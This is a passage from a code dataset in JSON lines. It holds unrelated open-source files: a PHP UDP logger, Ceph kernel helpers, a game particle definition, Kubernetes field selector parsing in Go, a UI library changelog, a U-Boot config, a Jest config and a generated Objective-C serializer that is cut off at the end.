\\LogicException('The UdpSocket to ' . $this->ip . ':' . $this->port . ' has been closed and can not be written to anymore');\n }\n socket_sendto($this->socket, $chunk, strlen($chunk), $flags = 0, $this->ip, $this->port);\n }\n protected function assembleMessage($line, $header)\n {\n $chunkSize = self::DATAGRAM_MAX_LENGTH - strlen($header);\n return $header . substr($line, 0, $chunkSize);\n }\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n <style name=\"AppTheme\" parent=\"android:Theme.Material.Light\">\n </style>\n</resources>\n"} {"text": "/*\n * Some non-inline ceph helpers\n */\n#include <linux/module.h>\n#include <linux/ceph/types.h>\n\n/*\n * return true if @layout appears to be valid\n */\nint ceph_file_layout_is_valid(const struct ceph_file_layout *layout)\n{\n\t__u32 su = le32_to_cpu(layout->fl_stripe_unit);\n\t__u32 sc = le32_to_cpu(layout->fl_stripe_count);\n\t__u32 os = le32_to_cpu(layout->fl_object_size);\n\n\t/* stripe unit, object size must be non-zero, 64k increment */\n\tif (!su || (su & (CEPH_MIN_STRIPE_UNIT-1)))\n\t\treturn 0;\n\tif (!os || (os & (CEPH_MIN_STRIPE_UNIT-1)))\n\t\treturn 0;\n\t/* object size must be a multiple of stripe unit */\n\tif (os < su || os % su)\n\t\treturn 0;\n\t/* stripe count must be non-zero */\n\tif (!sc)\n\t\treturn 0;\n\treturn 1;\n}\n\n\nint ceph_flags_to_mode(int flags)\n{\n\tint mode;\n\n#ifdef O_DIRECTORY /* fixme */\n\tif ((flags & O_DIRECTORY) == O_DIRECTORY)\n\t\treturn CEPH_FILE_MODE_PIN;\n#endif\n\n\tswitch (flags & O_ACCMODE) {\n\tcase O_WRONLY:\n\t\tmode = CEPH_FILE_MODE_WR;\n\t\tbreak;\n\tcase O_RDONLY:\n\t\tmode = CEPH_FILE_MODE_RD;\n\t\tbreak;\n\tcase O_RDWR:\n\tcase O_ACCMODE: /* this is what the VFS does */\n\t\tmode = CEPH_FILE_MODE_RDWR;\n\t\tbreak;\n\t}\n#ifdef O_LAZY\n\tif (flags & O_LAZY)\n\t\tmode |= CEPH_FILE_MODE_LAZY;\n#endif\n\n\treturn mode;\n}\nEXPORT_SYMBOL(ceph_flags_to_mode);\n\nint ceph_caps_for_mode(int mode)\n{\n\tint caps = CEPH_CAP_PIN;\n\n\tif (mode & CEPH_FILE_MODE_RD)\n\t\tcaps |= CEPH_CAP_FILE_SHARED |\n\t\t\tCEPH_CAP_FILE_RD | CEPH_CAP_FILE_CACHE;\n\tif (mode & CEPH_FILE_MODE_WR)\n\t\tcaps |= CEPH_CAP_FILE_EXCL |\n\t\t\tCEPH_CAP_FILE_WR | CEPH_CAP_FILE_BUFFER |\n\t\t\tCEPH_CAP_AUTH_SHARED | CEPH_CAP_AUTH_EXCL |\n\t\t\tCEPH_CAP_XATTR_SHARED | CEPH_CAP_XATTR_EXCL;\n\tif (mode & CEPH_FILE_MODE_LAZY)\n\t\tcaps |= CEPH_CAP_FILE_LAZYIO;\n\n\treturn caps;\n}\nEXPORT_SYMBOL(ceph_caps_for_mode);\n"} {"text": "<!-- kv3 encoding:text:version{e21c7f3c-8a33-41c5-9977-a76d3a32aa0d} format:generic:version{7412167c-06e9-4698-aff2-e63eb59037e7} -->\n{\n\t_class = \"CParticleSystemDefinition\"\n\tm_bShouldHitboxesFallbackToRenderBounds = false\n\tm_nMaxParticles = 10\n\tm_nInitialParticles = 2\n\tm_flConstantRadius = 15.000000\n\tm_ConstantColor =\n\t[\n\t\t255,\n\t\t255,\n\t\t255,\n\t\t160,\n\t]\n\tm_Renderers =\n\t[\n\t\t{\n\t\t\t_class = \"C_OP_RenderSprites\"\n\t\t\tm_nSequenceCombineMode = \"SEQUENCE_COMBINE_MODE_USE_SEQUENCE_0\"\n\t\t\tm_flStartFadeSize = 0.575000\n\t\t\tm_flEndFadeSize = 0.650000\n\t\t\tm_flMaxSize = 0.750000\n\t\t\tm_flOverbrightFactor = 5.000000\n\t\t\tm_flAddSelfAmount = 2.500000\n\t\t\tm_bSaturateColorPreAlphaBlend = false\n\t\t\tm_hTexture = resource:\"materials/particle/fire_particle_10/fire_particle_10_low.vtex\"\n\t\t\tm_flAnimationRate = 1.000000\n\t\t},\n\t]\n\tm_Operators =\n\t[\n\t\t{\n\t\t\t_class = \"C_OP_BasicMovement\"\n\t\t\tm_Gravity =\n\t\t\t[\n\t\t\t\t0.000000,\n\t\t\t\t0.000000,\n\t\t\t\t150.000000,\n\t\t\t]\n\t\t},\n\t\t{\n\t\t\t_class = \"C_OP_Decay\"\n\t\t},\n\t\t{\n\t\t\t_class = \"C_OP_FadeInSimple\"\n\t\t\tm_flFadeInTime = 0.100000\n\t\t},\n\t\t{\n\t\t\t_class = \"C_OP_FadeOutSimple\"\n\t\t\tm_flFadeOutTime = 0.900000\n\t\t},\n\t\t{\n\t\t\t_class = \"C_OP_Noise\"\n\t\t\tm_bAdditive = true\n\t\t\tm_flOutputMax = 130.000000\n\t\t\tm_nFieldOutput = 4\n\t\t\tm_fl4NoiseScale = 0.001310\n\t\t},\n\t\t{\n\t\t\t_class = \"C_OP_Noise\"\n\t\t\tm_fl4NoiseScale = 0.001100\n\t\t\tm_nFieldOutput = 12\n\t\t\tm_flOutputMax = 90.000000\n\t\t\tm_bAdditive = true\n\t\t},\n\t\t{\n\t\t\t_class = \"C_OP_InterpolateRadius\"\n\t\t\tm_flEndTime = 0.140000\n\t\t\tm_flStartScale = 0.000000\n\t\t\tm_flBias = 0.950000\n\t\t\tm_flEndScale = 2.000000\n\t\t},\n\t\t{\n\t\t\t_class = \"C_OP_RampScalarLinearSimple\"\n\t\t\tm_flEndTime = 9999.000000\n\t\t\tm_Rate = 150.000000\n\t\t\tm_nOpEndCapState = 1\n\t\t},\n\t\t{\n\t\t\t_class = \"C_OP_RampScalarLinearSimple\"\n\t\t\tm_flEndTime = 99999.000000\n\t\t\tm_Rate = -6.000000\n\t\t\tm_nField = 16\n\t\t\tm_nOpEndCapState = 1\n\t\t},\n\t\t{\n\t\t\t_class = \"C_OP_PositionLock\"\n\t\t\tm_nControlPointNumber = 3\n\t\t\tm_bLockRot = true\n\t\t},\n\t\t{\n\t\t\t_class = \"C_OP_ColorInterpolate\"\n\t\t\tm_ColorFade =\n\t\t\t[\n\t\t\t\t0,\n\t\t\t\t63,\n\t\t\t\t0,\n\t\t\t\t255,\n\t\t\t]\n\t\t},\n\t]\n\tm_Initializers =\n\t[\n\t\t{\n\t\t\t_class = \"C_INIT_RandomLifeTime\"\n\t\t\tm_fLifetimeMin = 0.750000\n\t\t\tm_fLifetimeMax = 1.000000\n\t\t},\n\t\t{\n\t\t\t_class = \"C_INIT_RandomColor\"\n\t\t\tm_ColorMin =\n\t\t\t[\n\t\t\t\t85,\n\t\t\t\t255,\n\t\t\t\t127,\n\t\t\t\t255,\n\t\t\t]\n\t\t\tm_ColorMax =\n\t\t\t[\n\t\t\t\t85,\n\t\t\t\t170,\n\t\t\t\t0,\n\t\t\t\t255,\n\t\t\t]\n\t\t},\n\t\t{\n\t\t\t_class = \"C_INIT_CreateWithinSphere\"\n\t\t\tm_fRadiusMax = 1.000000\n\t\t\tm_nControlPointNumber = 3\n\t\t},\n\t\t{\n\t\t\t_class = \"C_INIT_CreationNoise\"\n\t\t\tm_flNoiseScale = 2.000000\n\t\t\tm_flOutputMin = 11.000000\n\t\t\tm_flOutputMax = 20.000000\n\t\t},\n\t\t{\n\t\t\t_class = \"C_INIT_RandomRotation\"\n\t\t},\n\t\t{\n\t\t\t_class = \"C_INIT_RandomYaw\"\n\t\t\tm_flDegreesMin = -4.000000\n\t\t\tm_flDegreesMax = 4.000000\n\t\t},\n\t\t{\n\t\t\t_class = \"C_INIT_RandomYawFlip\"\n\t\t},\n\t\t{\n\t\t\t_class = \"C_INIT_RemapScalar\"\n\t\t\tm_flStartTime = 0.000000\n\t\t\tm_flEndTime = 0.600000\n\t\t\tm_flInputMax = 0.600000\n\t\t\tm_bScaleInitialRange = true\n\t\t},\n\t\t{\n\t\t\t_class = \"C_INIT_RandomSequence\"\n\t\t\tm_nSequenceMax = 10\n\t\t},\n\t]\n\tm_Emitters =\n\t[\n\t\t{\n\t\t\t_class = \"C_OP_ContinuousEmitter\"\n\t\t\tm_flEmitRate = 10.000000\n\t\t},\n\t]\n}"} {"text": "//\n// AppiumCodeMaker.h\n// Appium\n//\n// Created by Dan Cuellar on 4/10/13.\n// Copyright (c) 2013 Appium. All rights reserved.\n//\n\n#import <MGSFragaria/MGSFragaria.h>\n#import <Selenium/SERemoteWebDriver.h>\n#import \"AppiumCodeMakerAction.h\"\n#import \"AppiumCodeMakerPlugin.h\"\n\n@class AppiumCodeMakerAction;\n@class AppiumCodeMakerPlugin;\n@class SERemoteWebDriver;\n\n@interface AppiumCodeMaker : NSObject<NSCoding> {\n@private\n\tNSMutableArray *_actions;\n NSMutableArray *_undoneActions;\n\tNSString *_renderedActions;\n\tAppiumCodeMakerPlugin *_activePlugin;\n\tNSDictionary *_plugins;\n\tIBOutlet NSView *_contentView;\n\tMGSFragaria *_fragaria;\n}\n\n@property AppiumCodeMakerPlugin *activePlugin;\n@property (readonly) NSArray *allPlugins;\n@property NSString *syntaxDefinition;\n@property NSNumber *useBoilerPlate;\n@property NSNumber *useXPathOnly;\n@property NSString *string;\n@property NSAttributedString *attributedString;\n@property BOOL canUndo;\n@property BOOL canRedo;\n@property NSNumber *isRecording;\n\n-(void) reset;\n-(void) undoLast;\n-(void) redoLast;\n-(void) addAction:(AppiumCodeMakerAction*)action;\n-(void) replay:(SERemoteWebDriver*)driver;\n\n@end\n"} {"text": "/*\nCopyright 2015 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage fields\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"k8s.io/apimachinery/pkg/selection\"\n)\n\n// Selector represents a field selector.\ntype Selector interface {\n\t// Matches returns true if this selector matches the given set of fields.\n\tMatches(Fields) bool\n\n\t// Empty returns true if this selector does not restrict the selection space.\n\tEmpty() bool\n\n\t// RequiresExactMatch allows a caller to introspect whether a given selector\n\t// requires a single specific field to be set, and if so returns the value it\n\t// requires.\n\tRequiresExactMatch(field string) (value string, found bool)\n\n\t// Transform returns a new copy of the selector after TransformFunc has been\n\t// applied to the entire selector, or an error if fn returns an error.\n\t// If for a given requirement both field and value are transformed to empty\n\t// string, the requirement is skipped.\n\tTransform(fn TransformFunc) (Selector, error)\n\n\t// Requirements converts this interface to Requirements to expose\n\t// more detailed selection information.\n\tRequirements() Requirements\n\n\t// String returns a human readable string that represents this selector.\n\tString() string\n\n\t// Make a deep copy of the selector.\n\tDeepCopySelector() Selector\n}\n\n// Everything returns a selector that matches all fields.\nfunc Everything() Selector {\n\treturn andTerm{}\n}\n\ntype hasTerm struct {\n\tfield, value string\n}\n\nfunc (t *hasTerm) Matches(ls Fields) bool {\n\treturn ls.Get(t.field) == t.value\n}\n\nfunc (t *hasTerm) Empty() bool {\n\treturn false\n}\n\nfunc (t *hasTerm) RequiresExactMatch(field string) (value string, found bool) {\n\tif t.field == field {\n\t\treturn t.value, true\n\t}\n\treturn \"\", false\n}\n\nfunc (t *hasTerm) Transform(fn TransformFunc) (Selector, error) {\n\tfield, value, err := fn(t.field, t.value)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(field) == 0 && len(value) == 0 {\n\t\treturn Everything(), nil\n\t}\n\treturn &hasTerm{field, value}, nil\n}\n\nfunc (t *hasTerm) Requirements() Requirements {\n\treturn []Requirement{{\n\t\tField: t.field,\n\t\tOperator: selection.Equals,\n\t\tValue: t.value,\n\t}}\n}\n\nfunc (t *hasTerm) String() string {\n\treturn fmt.Sprintf(\"%v=%v\", t.field, EscapeValue(t.value))\n}\n\nfunc (t *hasTerm) DeepCopySelector() Selector {\n\tif t == nil {\n\t\treturn nil\n\t}\n\tout := new(hasTerm)\n\t*out = *t\n\treturn out\n}\n\ntype notHasTerm struct {\n\tfield, value string\n}\n\nfunc (t *notHasTerm) Matches(ls Fields) bool {\n\treturn ls.Get(t.field) != t.value\n}\n\nfunc (t *notHasTerm) Empty() bool {\n\treturn false\n}\n\nfunc (t *notHasTerm) RequiresExactMatch(field string) (value string, found bool) {\n\treturn \"\", false\n}\n\nfunc (t *notHasTerm) Transform(fn TransformFunc) (Selector, error) {\n\tfield, value, err := fn(t.field, t.value)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(field) == 0 && len(value) == 0 {\n\t\treturn Everything(), nil\n\t}\n\treturn &notHasTerm{field, value}, nil\n}\n\nfunc (t *notHasTerm) Requirements() Requirements {\n\treturn []Requirement{{\n\t\tField: t.field,\n\t\tOperator: selection.NotEquals,\n\t\tValue: t.value,\n\t}}\n}\n\nfunc (t *notHasTerm) String() string {\n\treturn fmt.Sprintf(\"%v!=%v\", t.field, EscapeValue(t.value))\n}\n\nfunc (t *notHasTerm) DeepCopySelector() Selector {\n\tif t == nil {\n\t\treturn nil\n\t}\n\tout := new(notHasTerm)\n\t*out = *t\n\treturn out\n}\n\ntype andTerm []Selector\n\nfunc (t andTerm) Matches(ls Fields) bool {\n\tfor _, q := range t {\n\t\tif !q.Matches(ls) {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (t andTerm) Empty() bool {\n\tif t == nil {\n\t\treturn true\n\t}\n\tif len([]Selector(t)) == 0 {\n\t\treturn true\n\t}\n\tfor i := range t {\n\t\tif !t[i].Empty() {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (t andTerm) RequiresExactMatch(field string) (string, bool) {\n\tif t == nil || len([]Selector(t)) == 0 {\n\t\treturn \"\", false\n\t}\n\tfor i := range t {\n\t\tif value, found := t[i].RequiresExactMatch(field); found {\n\t\t\treturn value, found\n\t\t}\n\t}\n\treturn \"\", false\n}\n\nfunc (t andTerm) Transform(fn TransformFunc) (Selector, error) {\n\tnext := make([]Selector, 0, len([]Selector(t)))\n\tfor _, s := range []Selector(t) {\n\t\tn, err := s.Transform(fn)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif !n.Empty() {\n\t\t\tnext = append(next, n)\n\t\t}\n\t}\n\treturn andTerm(next), nil\n}\n\nfunc (t andTerm) Requirements() Requirements {\n\treqs := make([]Requirement, 0, len(t))\n\tfor _, s := range []Selector(t) {\n\t\trs := s.Requirements()\n\t\treqs = append(reqs, rs...)\n\t}\n\treturn reqs\n}\n\nfunc (t andTerm) String() string {\n\tvar terms []string\n\tfor _, q := range t {\n\t\tterms = append(terms, q.String())\n\t}\n\treturn strings.Join(terms, \",\")\n}\n\nfunc (t andTerm) DeepCopySelector() Selector {\n\tif t == nil {\n\t\treturn nil\n\t}\n\tout := make([]Selector, len(t))\n\tfor i := range t {\n\t\tout[i] = t[i].DeepCopySelector()\n\t}\n\treturn andTerm(out)\n}\n\n// SelectorFromSet returns a Selector which will match exactly the given Set. A\n// nil Set is considered equivalent to Everything().\nfunc SelectorFromSet(ls Set) Selector {\n\tif ls == nil {\n\t\treturn Everything()\n\t}\n\titems := make([]Selector, 0, len(ls))\n\tfor field, value := range ls {\n\t\titems = append(items, &hasTerm{field: field, value: value})\n\t}\n\tif len(items) == 1 {\n\t\treturn items[0]\n\t}\n\treturn andTerm(items)\n}\n\n// valueEscaper prefixes \\,= characters with a backslash\nvar valueEscaper = strings.NewReplacer(\n\t// escape \\ characters\n\t`\\`, `\\\\`,\n\t// then escape , and = characters to allow unambiguous parsing of the value in a fieldSelector\n\t`,`, `\\,`,\n\t`=`, `\\=`,\n)\n\n// EscapeValue escapes an arbitrary literal string for use as a fieldSelector value\nfunc EscapeValue(s string) string {\n\treturn valueEscaper.Replace(s)\n}\n\n// InvalidEscapeSequence indicates an error occurred unescaping a field selector\ntype InvalidEscapeSequence struct {\n\tsequence string\n}\n\nfunc (i InvalidEscapeSequence) Error() string {\n\treturn fmt.Sprintf(\"invalid field selector: invalid escape sequence: %s\", i.sequence)\n}\n\n// UnescapedRune indicates an error occurred unescaping a field selector\ntype UnescapedRune struct {\n\tr rune\n}\n\nfunc (i UnescapedRune) Error() string {\n\treturn fmt.Sprintf(\"invalid field selector: unescaped character in value: %v\", i.r)\n}\n\n// UnescapeValue unescapes a fieldSelector value and returns the original literal value.\n// May return the original string if it contains no escaped or special characters.\nfunc UnescapeValue(s string) (string, error) {\n\t// if there's no escaping or special characters, just return to avoid allocation\n\tif !strings.ContainsAny(s, `\\,=`) {\n\t\treturn s, nil\n\t}\n\n\tv := bytes.NewBuffer(make([]byte, 0, len(s)))\n\tinSlash := false\n\tfor _, c := range s {\n\t\tif inSlash {\n\t\t\tswitch c {\n\t\t\tcase '\\\\', ',', '=':\n\t\t\t\t// omit the \\ for recognized escape sequences\n\t\t\t\tv.WriteRune(c)\n\t\t\tdefault:\n\t\t\t\t// error on unrecognized escape sequences\n\t\t\t\treturn \"\", InvalidEscapeSequence{sequence: string([]rune{'\\\\', c})}\n\t\t\t}\n\t\t\tinSlash = false\n\t\t\tcontinue\n\t\t}\n\n\t\tswitch c {\n\t\tcase '\\\\':\n\t\t\tinSlash = true\n\t\tcase ',', '=':\n\t\t\t// unescaped , and = characters are not allowed in field selector values\n\t\t\treturn \"\", UnescapedRune{r: c}\n\t\tdefault:\n\t\t\tv.WriteRune(c)\n\t\t}\n\t}\n\n\t// Ending with a single backslash is an invalid sequence\n\tif inSlash {\n\t\treturn \"\", InvalidEscapeSequence{sequence: \"\\\\\"}\n\t}\n\n\treturn v.String(), nil\n}\n\n// ParseSelectorOrDie takes a string representing a selector and returns an\n// object suitable for matching, or panic when an error occur.\nfunc ParseSelectorOrDie(s string) Selector {\n\tselector, err := ParseSelector(s)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn selector\n}\n\n// ParseSelector takes a string representing a selector and returns an\n// object suitable for matching, or an error.\nfunc ParseSelector(selector string) (Selector, error) {\n\treturn parseSelector(selector,\n\t\tfunc(lhs, rhs string) (newLhs, newRhs string, err error) {\n\t\t\treturn lhs, rhs, nil\n\t\t})\n}\n\n// ParseAndTransformSelector parses the selector and runs them through the given TransformFunc.\nfunc ParseAndTransformSelector(selector string, fn TransformFunc) (Selector, error) {\n\treturn parseSelector(selector, fn)\n}\n\n// TransformFunc transforms selectors.\ntype TransformFunc func(field, value string) (newField, newValue string, err error)\n\n// splitTerms returns the comma-separated terms contained in the given fieldSelector.\n// Backslash-escaped commas are treated as data instead of delimiters, and are included in the returned terms, with the leading backslash preserved.\nfunc splitTerms(fieldSelector string) []string {\n\tif len(fieldSelector) == 0 {\n\t\treturn nil\n\t}\n\n\tterms := make([]string, 0, 1)\n\tstartIndex := 0\n\tinSlash := false\n\tfor i, c := range fieldSelector {\n\t\tswitch {\n\t\tcase inSlash:\n\t\t\tinSlash = false\n\t\tcase c == '\\\\':\n\t\t\tinSlash = true\n\t\tcase c == ',':\n\t\t\tterms = append(terms, fieldSelector[startIndex:i])\n\t\t\tstartIndex = i + 1\n\t\t}\n\t}\n\n\tterms = append(terms, fieldSelector[startIndex:])\n\n\treturn terms\n}\n\nconst (\n\tnotEqualOperator = \"!=\"\n\tdoubleEqualOperator = \"==\"\n\tequalOperator = \"=\"\n)\n\n// termOperators holds the recognized operators supported in fieldSelectors.\n// doubleEqualOperator and equal are equivalent, but doubleEqualOperator is checked first\n// to avoid leaving a leading = character on the rhs value.\nvar termOperators = []string{notEqualOperator, doubleEqualOperator, equalOperator}\n\n// splitTerm returns the lhs, operator, and rhs parsed from the given term, along with an indicator of whether the parse was successful.\n// no escaping of special characters is supported in the lhs value, so the first occurance of a recognized operator is used as the split point.\n// the literal rhs is returned, and the caller is responsible for applying any desired unescaping.\nfunc splitTerm(term string) (lhs, op, rhs string, ok bool) {\n\tfor i := range term {\n\t\tremaining := term[i:]\n\t\tfor _, op := range termOperators {\n\t\t\tif strings.HasPrefix(remaining, op) {\n\t\t\t\treturn term[0:i], op, term[i+len(op):], true\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\", \"\", \"\", false\n}\n\nfunc parseSelector(selector string, fn TransformFunc) (Selector, error) {\n\tparts := splitTerms(selector)\n\tsort.StringSlice(parts).Sort()\n\tvar items []Selector\n\tfor _, part := range parts {\n\t\tif part == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tlhs, op, rhs, ok := splitTerm(part)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"invalid selector: '%s'; can't understand '%s'\", selector, part)\n\t\t}\n\t\tunescapedRHS, err := UnescapeValue(rhs)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tswitch op {\n\t\tcase notEqualOperator:\n\t\t\titems = append(items, &notHasTerm{field: lhs, value: unescapedRHS})\n\t\tcase doubleEqualOperator:\n\t\t\titems = append(items, &hasTerm{field: lhs, value: unescapedRHS})\n\t\tcase equalOperator:\n\t\t\titems = append(items, &hasTerm{field: lhs, value: unescapedRHS})\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"invalid selector: '%s'; can't understand '%s'\", selector, part)\n\t\t}\n\t}\n\tif len(items) == 1 {\n\t\treturn items[0].Transform(fn)\n\t}\n\treturn andTerm(items).Transform(fn)\n}\n\n// OneTermEqualSelector returns an object that matches objects where one field/field equals one value.\n// Cannot return an error.\nfunc OneTermEqualSelector(k, v string) Selector {\n\treturn &hasTerm{field: k, value: v}\n}\n\n// AndSelectors creates a selector that is the logical AND of all the given selectors\nfunc AndSelectors(selectors ...Selector) Selector {\n\treturn andTerm(selectors)\n}\n"} {"text": "# [@hig/avatar-v1.1.0](https://github.com/Autodesk/hig/compare/@hig/avatar@1.0.6...@hig/avatar@1.1.0) (2019-10-10)\n\n\n### Features\n\n* allow className to be passed down to Avatar ([6b7c894](https://github.com/Autodesk/hig/commit/6b7c894))\n\n# [@hig/avatar-v1.0.6](https://github.com/Autodesk/hig/compare/@hig/avatar@1.0.5...@hig/avatar@1.0.6) (2019-03-20)\n\n\n### Bug Fixes\n\n* backgroundId to account for lowercase name ([4c0ac9d](https://github.com/Autodesk/hig/commit/4c0ac9d))\n\n# [@hig/avatar-v1.0.5](https://github.com/Autodesk/hig/compare/@hig/avatar@1.0.4...@hig/avatar@1.0.5) (2019-03-13)\n\n\n### Bug Fixes\n\n* theme-context and theme-data as peer dependencies ([7c7d2db](https://github.com/Autodesk/hig/commit/7c7d2db))\n\n# [@hig/avatar-v1.0.4](https://github.com/Autodesk/hig/compare/@hig/avatar@1.0.3...@hig/avatar@1.0.4) (2019-02-08)\n\n\n### Bug Fixes\n\n* bump up theme-context dependency ([b068dab](https://github.com/Autodesk/hig/commit/b068dab))\n\n# [@hig/avatar-v1.0.3](https://github.com/Autodesk/hig/compare/@hig/avatar@1.0.2...@hig/avatar@1.0.3) (2019-01-23)\n\n\n### Bug Fixes\n\n* **package:** update [@hig](https://github.com/hig)/theme-context to version 2.0.0 ([c3dbc64](https://github.com/Autodesk/hig/commit/c3dbc64))\n\n# [@hig/avatar-v1.0.2](https://github.com/Autodesk/hig/compare/@hig/avatar@1.0.1...@hig/avatar@1.0.2) (2019-01-09)\n\n\n### Bug Fixes\n\n* Shows a bg color for names starting w/ Z ([9745ec3](https://github.com/Autodesk/hig/commit/9745ec3))\n\n# [@hig/avatar-v1.0.1](https://github.com/Autodesk/hig/compare/@hig/avatar@1.0.0...@hig/avatar@1.0.1) (2019-01-04)\n\n\n### Bug Fixes\n\n* resolve versioning issue, Avatar 0.2.0->1.0.0 ([535d892](https://github.com/Autodesk/hig/commit/535d892))\n\n# [@hig/avatar-v1.0.0](https://github.com/Autodesk/hig/compare/@hig/avatar@0.2.0...@hig/avatar@1.0.0) (2019-01-03)\n\n\n### Bug Fixes\n\n* **avatar:** add theme knobs in avatar storybook, use only one letter for avatar when size is small, fix js warnings ([4057b51](https://github.com/Autodesk/hig/commit/4057b51))\n\n\n### Features\n\n* **avatar:** themable avatar ([0fbd821](https://github.com/Autodesk/hig/commit/0fbd821))\n\n\n### BREAKING CHANGES\n\n* **avatar:** The sizes.LARGE_36 size is no longer supported. You can\nsubstitute with sizes.MEDIUM_32 or sizes.LARGE_48. The \"large-48\" size\nis no longer supported. You can substitute it with \"large\" for 48 pixels\nwide or \"medium-32\" for 32 pixels wide. The previous \"large\" size is now\n48 pixels wide rather than 36 pixels wide.\n\n# [@hig/avatar-v0.2.0](https://github.com/Autodesk/hig/compare/@hig/avatar@0.1.3...@hig/avatar@0.2.0) (2018-09-19)\n\n\n### Features\n\n* improve markup semantics ([df10f18](https://github.com/Autodesk/hig/commit/df10f18))\n\n<a name=\"@hig/avatar-v0.1.3\"></a>\n# [@hig/avatar-v0.1.3](https://github.com/Autodesk/hig/compare/@hig/avatar@0.1.2...@hig/avatar@0.1.3) (2018-07-06)\n\n\n### Bug Fixes\n\n* **bundle:** include dependency CSS ([f5a4a62](https://github.com/Autodesk/hig/commit/f5a4a62))\n\n<a name=\"@hig/avatar-v0.1.2\"></a>\n# [@hig/avatar-v0.1.2](https://github.com/Autodesk/hig/compare/@hig/avatar@0.1.1...@hig/avatar@0.1.2) (2018-06-19)\n\n\n### Bug Fixes\n\n* **bundle:** Fix package bundles ([a1b479d](https://github.com/Autodesk/hig/commit/a1b479d))\n"} {"text": "CONFIG_ARM=y\nCONFIG_ARCH_MX6=y\nCONFIG_TARGET_TQMA6=y\nCONFIG_TQMA6S=y\nCONFIG_TQMA6X_SPI_BOOT=y\nCONFIG_FIT=y\nCONFIG_FIT_VERBOSE=y\nCONFIG_OF_BOARD_SETUP=y\nCONFIG_BOOTDELAY=3\nCONFIG_DEFAULT_FDT_FILE=\"imx6dl-mba6x.dtb\"\nCONFIG_BOARD_EARLY_INIT_F=y\nCONFIG_HUSH_PARSER=y\nCONFIG_CMD_BOOTZ=y\n# CONFIG_CMD_IMLS is not set\nCONFIG_CMD_EEPROM=y\n# CONFIG_CMD_FLASH is not set\nCONFIG_CMD_MMC=y\nCONFIG_CMD_SF=y\nCONFIG_CMD_SPI=y\nCONFIG_CMD_I2C=y\nCONFIG_CMD_USB=y\nCONFIG_CMD_GPIO=y\nCONFIG_CMD_DHCP=y\nCONFIG_CMD_MII=y\nCONFIG_CMD_PING=y\nCONFIG_CMD_CACHE=y\nCONFIG_CMD_EXT2=y\nCONFIG_CMD_EXT4=y\nCONFIG_CMD_EXT4_WRITE=y\nCONFIG_CMD_FAT=y\nCONFIG_CMD_FS_GENERIC=y\nCONFIG_SPI_FLASH=y\nCONFIG_SPI_FLASH_STMICRO=y\nCONFIG_USB=y\nCONFIG_USB_STORAGE=y\nCONFIG_OF_LIBFDT=y\n"} {"text": "module.exports = {\n displayName: 'test',\n moduleFileExtensions: ['ask', 'ts', 'tsx', 'pegjs', 'js'],\n testEnvironment: 'node',\n testMatch: [\n '**/__tests__/**/*.[jt]s?(x)',\n '**/?(*.)+(spec|test).[jt]s?(x)',\n '**/*.(ask|pegjs)',\n ],\n testPathIgnorePatterns: [\n '_environment.ts',\n '.*\\\\.ask\\\\.formatted\\\\.ask',\n '.*\\\\.test.args.ts',\n '.*\\\\.test.result.ts',\n '.*\\\\.ast.tsx',\n '<rootDir>/dist/',\n '<rootDir>/drafts/',\n '<rootDir>/src/__tests__/lib.ts',\n '<rootDir>/src/askscript/__tests__/tools/run_ask_file.ts',\n ],\n testRunner: './dist/test.jest.testRunner',\n transform: {\n '^.+\\\\.(ask|pegjs|[jt]sx?)$': './dist/javascript.jest.transformer',\n },\n watchPathIgnorePatterns: ['<rootDir>/dist'],\n};\n"} {"text": "/*******************************************************************************\n**NOTE** This code was generated by a tool and will occasionally be\noverwritten. We welcome comments and issues regarding this code; they will be\naddressed in the generation tool. If you wish to submit pull requests, please\ndo so for the templates in that tool.\n\nThis code was generated by Vipr (https://github.com/microsoft/vipr) using\nthe T4TemplateWriter (https://github.com/msopentech/vipr-t4templatewriter).\n\nCopyright (c) Microsoft Corporation. All Rights Reserved.\nLicensed under the Apache License 2.0; see LICENSE in the source repository\nroot for authoritative license information.\n******************************************************************************/\n\n\n\n#import \"MSGraphServiceRecurrenceRangeType.h\"\n\n@implementation MSGraphServiceRecurrenceRangeTypeSerializer\n\n+(MSGraphServiceRecurrenceRangeType) fromString:(NSString *) string {\n\n static NSDictionary *stringMappings=nil;\n \n if(stringMappings==nil)\n {\n stringMappings=[[NSDictionary alloc] initWithObjectsAndKeys:\n [NSNumber numberWithInt:MSGraphServiceRecurrenceRangeTypeEndDate], @\"endDate\", [NSNumber numberWithInt:MSGraphServiceRecurrenceRangeTypeNoEnd], @\"noEnd\", [NSNumber numberWithInt:MSGraphServiceRecurrenceRangeTypeNumbered], @\"numbered\",\n nil \n ];\n }\n \n return [stringMappings[string] intValue];\n\n}\n\n+(NSString *) toString: (MSGraphServiceRecurrenceRangeType) value {\n\n static NSDictionary *stringMappings=nil;\n \n if(stringMappings==nil)\n {\n stringMappings=[[NSDictionary alloc] initWithObjectsAndKeys:\n @\"endDate\", [NSNumber numberWithInt:MSGraphServiceRecurrenceRangeTypeEndDate], @\"noEnd\", [NSNumber numberWithInt:MSGraphServiceRecurrenceRangeTypeNoEnd], @\"numbered\", [NSNumber numberWithInt:MSGraphServiceRecurrenceRangeTypeNumbered],\n nil \n ];\n }\n \n return stringMappings[[NSNumber 